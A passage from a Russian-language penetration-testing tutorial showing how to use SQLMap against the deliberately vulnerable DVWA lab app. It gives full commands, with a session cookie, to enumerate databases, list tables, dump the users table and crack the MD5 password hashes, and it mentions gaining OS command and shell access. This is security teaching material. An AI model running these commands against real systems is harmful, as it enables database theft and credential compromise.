5.7. Эксплуатация SQLi с помощью SQLMap

Ручной поиск и тестирование уязвимости SQLi может занимать много времени, к тому же для каждой СУБД необходимо подбирать подходящие SQL выражения, так как синтаксис и встроенные функции отличаются. Конечно, можно составить список из всевозможных SQL выражений, а затем запустить фаззинг. Однако основная задача фаззинга найти и подтвердить уязвимость. Саму эксплуатацию или взлом придется проводить вручную либо с помощью других специализированных программ. Существуют программы, которые позволяют объединить все эти шаги и выполнить сложную работу за нас, но в большинстве своем они платны и стоят много денег.

Однако существует альтернатива в виде бесплатной программы SQLMap, которая уже установлена в Kali. Программа содержит много опций, которые доступны через команду sqlmap -hh. SQLMap позволяет выполнять следующие операции:

  • Извлечение полной инофрмации о СУБД и типе операционной системы.
  • Извлечение содержимого базы данных
  • Взлом паролей. Если в БД содержатся хэши, то программа автоматически попытается их взломать.
  • Выполнение команд операционной системы.
  • Получение интерактивной оболочки (shell) для управления уязвимым сервером. Обычно данная опция редко срабатывает, так как на уязвимый сервер требуется записать специальный файл, который затем будет запущен. Поэтому необходимо знать каталог/папку, для которого установлены права записи файлов, кроме того, сам сессионный пользователь БД должен обладать соответствующими привилегиями.

Рассмотрим работы SQLMap на примере приложения DVWA. Открываем приложение, логинимся и выбираем опцию SQL Injection. Вводим любую цифру (например, 1) и перехватываем запрос в Burp Suite. Нам необходмо скопировать URL, а также Cookie, потому что пришлось логиниться на сайт:

Перехваченный запрос в Burp Suite для SQLMap

Теперь, используя имеющиеся данные, запустим SQLMap:

sqlmap --url=http://10.0.2.15/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit --cookie=”security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=qje743rmifb453hrs0rsf31mc7; security_level=0” --method GET –data=”id=1&Submit=Submit” -p ”id” --dbs --batch, где

--url – тестируемое URL,

--cookie – необходимые Cookie,

--method – используемый HTTP метод,

--data – передаваемые данные,

-p – тестируемые параметры. Если их несколько, то перечисляются все с помощью запятой,

--dbs – получить имя базы данных,

--batch – при тестировании программа запрашивает интерактивное взаимодействие с пользователем. Чтобы использовать значения по умолчанию можете использовать опцию --batch, однако в некоторых случаях от нее лучше отказаться.

Вот, что у нас получилось:

Успешная атака с помощью SQLMap

Программа выдала довольно много данных, включая и SQL выражения, которые сработали. В нашем случае сработали 4 метода эксплуатации. Внизу отображается список баз данных.

Теперь попробуем заглянуть внутрь базы данных с именем dvwa. Для начала посмотрим какие таблицы в ней имеются:

sqlmap --url=http://10.0.2.15/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit --cookie=”security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=qje743rmifb453hrs0rsf31mc7; security_level=0” --method GET –data=”id=1&Submit=Submit” -p ”id” -D dvwa --tables --batch, где

-D – содержит название базы данных,

--tables – отобразить список таблиц.

Полученные таблицы в результате атаки SQLMap

Проверим таблицу users:

sqlmap --url=http://10.0.2.15/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit --cookie=”security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=qje743rmifb453hrs0rsf31mc7; security_level=0” --method GET –data=”id=1&Submit=Submit” -p ”id” -D dvwa -T users --dump --batch, где

-T – содержит название исследуемой таблицы,

--dump – указание извлечь всю информацию.

Полная информация о базе данных

Таблица содержит имена пользователей и хэш их паролей. Программа автоматически взломала хэши, чтобы получить пароли. Так как в качестве хэширующей функции использовался MD5, то процесс взлома занял несколько секунд. При использовании более сильной хэширующей функции рекомендуется не использовать опцию --batch.

Как и упоминалось ранее, программа обладает возможностью доступа к файловой и операционной системам уязвимого сервера с помощью указанных ниже опций:

Опции SQLMap для управления операционной системой

Однако все зависит от прав доступа сессионного пользователя БД и настроек доступа файловой системы.